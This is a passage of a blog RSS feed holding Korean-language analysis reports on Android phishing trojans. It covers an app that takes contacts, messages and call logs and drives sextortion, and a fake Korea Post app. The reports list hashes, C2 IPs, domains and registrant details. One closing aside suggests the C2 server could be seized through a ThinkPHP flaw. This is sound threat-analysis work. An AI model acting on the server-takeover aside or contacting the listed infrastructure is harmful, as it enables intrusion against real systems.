id=&quot;eff6d540-a27b-48c3-89c9-0b6b661c58f9&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;SHA-256&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;0020a89bc732adc79fcf165cdaddb9367d5e081badb3f818ebef180a24fb75c4&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;17e45077-0490-4966-8967-128c9c846b6f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;File Type&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;Android APK&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;7ff46361-11d2-404b-823a-4fbd6e2b4b6e&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;File Version&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;2.0&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;61e11d68-0d91-4e22-924e-1136e439cd0b&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;Target SDK&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;31&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;9f34c37a-c53b-4b8f-beae-d321c8c4d570&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;Target Min SDK&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;19&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;19c44e08-2d8a-4947-88c6-3d8d1f872774&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;File Size&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;3.02 MB (3164402 bytes)&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;0a5162bd-bfb2-4876-9318-9e52d49a23c4&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;Creation Time&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;2022-04-18 11:15:51 UTC&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;8b03ee3e-82fa-42c4-bd2e-8c2abd8e96d0&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;Tag&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h1 class=&quot;&quot; id=&quot;e1c4d704-58e7-4e4f-9394-29ff7607d006&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;자동화 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;ee1da9b5-f638-418c-8e22-c584c7a62611&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/Fb1Xs/btrFdIeHJhU/K34foPbOOuB4oEXehsiUt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fb1Xs/btrFdIeHJhU/K34foPbOOuB4oEXehsiUt1/img.png&quot; style=&quot;width:1288px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;809c9025-d7d1-42ec-8500-15dc34d2ea5e&quot;&gt;VirusTotal 분석 결과 트로이목마로 다소 의심되는 점들이 많이 보인다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;8e6c3d4c-f948-46e6-94cf-200946419f4c&quot;&gt;이를 참고하여 분석을 진행했다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;28dcda11-bc41-481f-80e4-51e0d3617fcf&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;행위 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;a156b255-48b1-47d6-be0f-8576d829ed5b&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/A1ePJ/btrFfZUy9nZ/WlymRcHU5m05UxXSNf8mK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A1ePJ/btrFfZUy9nZ/WlymRcHU5m05UxXSNf8mK0/img.png&quot; style=&quot;width:615px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;e9f900e3-cb72-4458-bcbd-18d3b37f4c2c&quot;&gt;현재 정상적으로 접속이 불가능하다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;e695c050-611a-400c-af3e-2fb75612ff2c&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;정적 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;6818ccaa-10a2-404a-8144-ff8ae2ea6b25&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/mrHTm/btrFdG2haYN/S7w00WvV75x1YYLaPfKF2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mrHTm/btrFdG2haYN/S7w00WvV75x1YYLaPfKF2K/img.png&quot; style=&quot;width:1109px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;figure class=&quot;image&quot; id=&quot;a07dac39-132d-4240-9f7c-f194cc84a36e&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/b6z8Z2/btrE753tK48/EKkexPVpO2FTbY6qfCYGc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6z8Z2/btrE753tK48/EKkexPVpO2FTbY6qfCYGc1/img.png&quot; style=&quot;width:1050px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;d0d58fde-8f12-4bcb-87c0-9c8f89114b66&quot;&gt;APK 파일을 살펴보면, 중국 도메인 서버를 두고 있는 API 주소(&lt;code&gt;116.204.169.213&lt;/code&gt;)를 찾을 수 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;578ca5c4-9535-4bc2-b739-38504a07b6c0&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/deg18q/btrFg60c0TE/qUneG4pvirnoC8lqNFTHXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/deg18q/btrFg60c0TE/qUneG4pvirnoC8lqNFTHXK/img.png&quot; style=&quot;width:172px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;7619c2f7-0000-49b8-b945-fd1fa5406db9&quot;&gt;해당 데이터는 안드로이드 단말기에 저장된 연락처, 이미지, 메세지, 통화기록을 가져와 API 서버로 전달되는 점을 알 수 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;bc995d6b-6085-47b2-a28b-8aaeab865006&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/mQ2qY/btrFaO7PXsc/cOABjvFH53LxXwqDhKDeS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mQ2qY/btrFaO7PXsc/cOABjvFH53LxXwqDhKDeS0/img.png&quot; style=&quot;width:554px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;LocalMessage&lt;/figcaption&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;e8942189-8509-472c-96ec-85b267ee5b97&quot;&gt;사용자의 데이터를 가져오는 소스 중 LocalMessage.java를 살펴보자.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;7e76a665-3ab0-43a2-8974-5c706071df2c&quot;&gt;먼저 사용된 패키지를 살펴보면, &lt;code&gt;Serializable&lt;/code&gt;는 안드로이드 Activity에서 Object로 넘겨주는 역할과 &lt;code&gt;litePal&lt;/code&gt;라는 SQLite 데이터베이스 프레임워크를 사용하고 있다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;90a027a5-a25c-4869-9949-f1aaa5516754&quot;&gt;
&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;4d1adcca-50b7-4e15-83bb-84203641c200&quot;&gt;다음으로 API 주소인 &lt;code&gt;116.204.169.213&lt;/code&gt;에서 포트를 조사했다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;8ad1a736-94a4-4ce9-b13d-a0327ecca33b&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bLH49O/btrFbNALWni/nKkj7k1Eo1iOaq3pmLGh90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLH49O/btrFbNALWni/nKkj7k1Eo1iOaq3pmLGh90/img.png&quot; style=&quot;width:318px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;4cdf8ce9-0a50-4851-9ae8-2da88efc69d2&quot;&gt;특이점은 open 상태인 서비스 중에 &lt;code&gt;9001&lt;/code&gt; 포트가 APK 파일에서 발견된 API 서버에서도 같은 포트가 보였다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;84e69e68-03dd-48bf-9974-e9d589eee6d4&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;동적 분석&lt;/mark&gt;&lt;/h1&gt;&lt;p class=&quot;&quot; id=&quot;3023529f-2e4d-4b67-a6f9-1583f7bf7945&quot;&gt;해당 어플의 API 서버가 닫혀 있어 동적 분석은 불가능했다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;d7aac9d2-27a5-49bf-be47-2b44df948f8e&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;결론&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;b5e2b506-2948-4cc2-914a-fd6b935c3270&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;한국인 타겟으로 제작된 성인 사이트에서 악성 어플을 배포하였다.&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;3ef8d900-652c-4004-8bc0-ab2a593a23e0&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;어플은 SMS, GPS 등뿐만 아니라 몸캠 피싱을 유도하는 행위가 포함되어 있다.&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;b6bf1a29-f734-4a13-9829-a1f24e59065d&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;해당 데이터는 중국 API 서버인 &lt;code&gt;116.204.169.213&lt;/code&gt;으로 전달되는 점을 알 수 있다.&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;0f2d77c5-c098-4c64-b4b6-a64a39a89353&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;여담으로 &lt;code&gt;ThinkPHP&lt;/code&gt; 취약점을 공략한다면 서버 탈취도 가능해 보인다.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/article&gt;&lt;/body&gt;</description>
      <category>Analysis Report</category>
      <category>phishing</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/287</guid>
      <comments>https://netking.tistory.com/287#entry287comment</comments>
      <pubDate>Sat, 18 Jun 2022 01:56:11 +0900</pubDate>
    </item>
    <item>
      <title>[Phishing] 우체국 사칭 어플 epost.apk 분석 보고서</title>
      <link>https://netking.tistory.com/286</link>
      <description>&lt;body&gt;&lt;html&gt;&lt;head&gt;&lt;link href=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/styles/atom-one-dark.min.css&quot; rel=&quot;stylesheet&quot;/&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/highlight.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;hljs.initHighlightingOnLoad();&lt;/script&gt;&lt;/head&gt;&lt;/html&gt;&lt;link href=&quot;https://rawcdn.githack.com/ppuep94/n2t/5ef4dc01e9d6336341e9ab95bb71672f9d3a3dc9/assets/css/style2.css&quot; rel=&quot;stylesheet&quot;/&gt;&lt;article class=&quot;page sans Notion&quot; id=&quot;4f599a42-a0b2-45c0-9c46-ea38a904a6d5&quot;&gt;&lt;header&gt;&lt;/header&gt;&lt;div class=&quot;page-body Tistory&quot;&gt;&lt;h1 class=&quot;&quot; id=&quot;3c6f54ca-7ee8-4986-b27d-377dd3234915&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;개요&lt;/mark&gt;&lt;/h1&gt;&lt;p class=&quot;&quot; id=&quot;8ad3413e-4066-4ae9-89f9-745134c49b2d&quot;&gt;SMS로 전달받은 의심되는 URL에서 악의 여부가 있는지 분석을 진행했다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;979577e4-c103-4ff7-b84c-e860bcd7b6ac&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/xs3vP/btrFg7x2Gof/bASlRLlHzKd3jnMB2FwmW0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xs3vP/btrFg7x2Gof/bASlRLlHzKd3jnMB2FwmW0/img.jpg&quot; style=&quot;width:648px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;MD5 : d56421fe4ef375c8c1c1a1d3cb95c840&lt;/figcaption&gt;&lt;/figure&gt;&lt;h1 class=&quot;&quot; id=&quot;b1461b49-28ff-4620-8ad2-38a04dd7eff8&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;분석 정보&lt;/mark&gt;&lt;/h1&gt;&lt;h3 class=&quot;&quot; id=&quot;a256eed2-898f-4ad5-bd26-11e1fc409efd&quot;&gt;분석 환경&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;190ebe50-3d4e-455a-ac28-98a302096935&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;4541b7c9-16f2-4211-84a9-984899be2991&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:166px&quot;&gt;OS&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;&lt;code&gt;Windows 11 Pro&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;53262958-8dd6-41bf-9f29-96e244ec6011&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:166px&quot;&gt;Tools&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;&lt;code&gt;Advanced Port Scanner&lt;/code&gt; &lt;code&gt;Nmap&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;46756ace-af42-47d3-b4a0-c96015b4779c&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:166px&quot;&gt;Device&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;&lt;code&gt;Android AVD API 28 x86_64&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 class=&quot;&quot; id=&quot;40928756-e4cc-4e3a-80a0-538654c60bd0&quot;&gt;분석 대상&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;95876e81-5fcf-4e93-adc7-28913b6e2563&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;88c27dc3-bc9e-439e-b33f-d13c5540326d&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;No&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;A&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;3cb9c85b-eac9-4552-8da0-5fd47695c5a5&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Telephone&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;+82 10-3084-2072&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;e5b75dca-496e-46c0-87d6-1aec2a61b63b&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Domain&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;http://hibmd.reagz.com&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;0e7148bb-9771-4277-b791-51495adc9d79&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;IP&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;27.124.36.32&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;775bb3f9-b238-44da-b9f6-99699e9b8633&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Registrant_Name&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;yinf ang&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;ea8bb81e-52a3-49de-9e51-db2a33ea70ef&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Registrant_Country&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;CHINA&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;ada2b0da-08b5-4eff-aad4-26b0f272397e&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Registrant_Email&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;780475173@qq.com&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;1fc4d2cb-d1eb-4b89-a3f6-4a9165b0715a&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Registrant_Telephone&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;8602825365241&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;60a61258-4c4c-4245-afca-8ecd58943484&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:168px&quot;&gt;Tag&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;Web Server&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;simple-table&quot; id=&quot;c6b57def-08b6-41ae-88d7-0e3dd9e0e6bd&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;528a5782-6978-4111-a42a-dde3f1428623&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;No&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;B&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;55a3aec9-84ff-4d76-8a32-e2fc2994909f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;File Name&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;epost.apk&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;ca8dedb5-7013-4a8e-9765-caa6036df7b5&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;MD5&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;2896de9336343a0ee05f0e15095b73a4&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;e10d6e96-8345-471c-b23f-1eaeb34e4be4&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;SHA-256&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;a75015a9-8218-4602-a6b5-c4e6b231adc3&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;File Type&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;Android APK&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;905080e4-4559-4415-8871-c6d0ae76aaf0&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;File Version&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;473&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;b9b3e9a1-235a-4314-afa9-9491a70b685f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;File Size&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;379,941 Bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;e35675ea-0437-4f62-9f4a-aa29dd865c3b&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;yUho&quot; style=&quot;width:173px&quot;&gt;Tag&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;I&amp;gt;^{&quot; style=&quot;width:558px&quot;&gt;Android APK&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h1 class=&quot;&quot; id=&quot;81753903-d9dd-4864-a293-3f8a997f579e&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;자동화 분석&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;2c10f571-b1ff-4096-b46b-71c4d8398ed5&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;분석 대상 : A&lt;figure class=&quot;image&quot; id=&quot;d9760249-3ff6-46b4-9ffd-0a1787990d13&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cRQowa/btrE9QxZhzW/9QR952lzL53KvvOiYobgZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRQowa/btrE9QxZhzW/9QR952lzL53KvvOiYobgZK/img.png&quot; style=&quot;width:1338px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;ed35c27a-ba08-46f3-a5b2-4fe2d07b4d23&quot;&gt;결과에는 별다른 악의 요소가 없지만, 도메인이 미국으로 보여지고 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;e6c373d7-3339-4e35-8fbb-d567390433a9&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/zwuUo/btrFe4u1p6d/KUTsKuceV1FwOkpCxJnRUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zwuUo/btrFe4u1p6d/KUTsKuceV1FwOkpCxJnRUk/img.png&quot; style=&quot;width:602px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;7bb7f6e4-9aa0-48e6-86cb-fcd739a86d3e&quot;&gt;그러나 동일한 2차 도메인에서 수 많은 알 수 없는 문자열로 만들어진 3차 도메인이 존재한다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;c5c62e75-439f-4677-9cc5-d000fff5b45e&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/BKC9u/btrE8NIiuuK/6pkPKuJB8Bom7CEiBWcLR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BKC9u/btrE8NIiuuK/6pkPKuJB8Bom7CEiBWcLR1/img.png&quot; style=&quot;width:558px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;figure class=&quot;image&quot; id=&quot;381ff25c-410f-49c0-837e-71e7ac832577&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/xIg8m/btrE8O1xd3y/s5p6exIeXyss72SQ6DRdjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xIg8m/btrE8O1xd3y/s5p6exIeXyss72SQ6DRdjk/img.png&quot; style=&quot;width:1359px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;211b5815-9b8d-4c94-8449-24e063b3a54b&quot;&gt;WHOIS History 도메인을 검사한 결과 과거 생산한 국가를 살펴보면, 중국에서 제작된 것을 알 수 있다. (역시 미국 형님들이 아니였군  )&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;ab1c8d57-2e09-4d3f-adaa-f78a72ec3995&quot;&gt;이러한 점들을 참고하여 다음 분석 단계로 넘어갔다.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;15d5b5bf-a0a3-4977-b290-9d7ccf05f300&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;분석 대상 : B&lt;figure class=&quot;image&quot; id=&quot;3746bc36-c6a4-4bd5-994e-fb52b5fa7396&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/I61Bd/btrFdG2g8lV/TCzixXHhumnnok4KlytNOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I61Bd/btrFdG2g8lV/TCzixXHhumnnok4KlytNOK/img.png&quot; style=&quot;width:1286px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details&quot;&gt;https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details&lt;/a&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 class=&quot;&quot; id=&quot;cd8f501e-0736-4284-9ce8-9c7a93f8cfcf&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;행위 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;e8805710-50cb-46ac-b78a-e833b6e14eb4&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/Odbzv/btrE9Q5Quq5/TcKdEEPgFOhKKMYX7sHXhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Odbzv/btrE9Q5Quq5/TcKdEEPgFOhKKMYX7sHXhK/img.png&quot; style=&quot;width:615px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;fb1dc160-d2b9-46b6-87ed-76e6214a72eb&quot;&gt;단순하게 해당 URL에 접속하면 접근이 불가능하다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;17cc03d9-5bd8-4692-9c44-9467ee2008c0&quot;&gt;이러한 이유는 공격자가 원하는 타겟에 맞춰 특정한 조건에 맞춰 &lt;code&gt;Trigger&lt;/code&gt; 되도록 접속 가능하게 만들어진 가능성이 높다. 예를 들면, 접속하는 단말기의 헤더에 모바일인지 혹은 IP에 따라 어느 국가인지 미리 구분할 수 있기 때문이다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;df6dda85-fe1a-46d4-919e-088569d0ad46&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;행위 분석&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;c233f5d4-9623-4c50-811a-98d34e88490a&quot;&gt;&lt;li 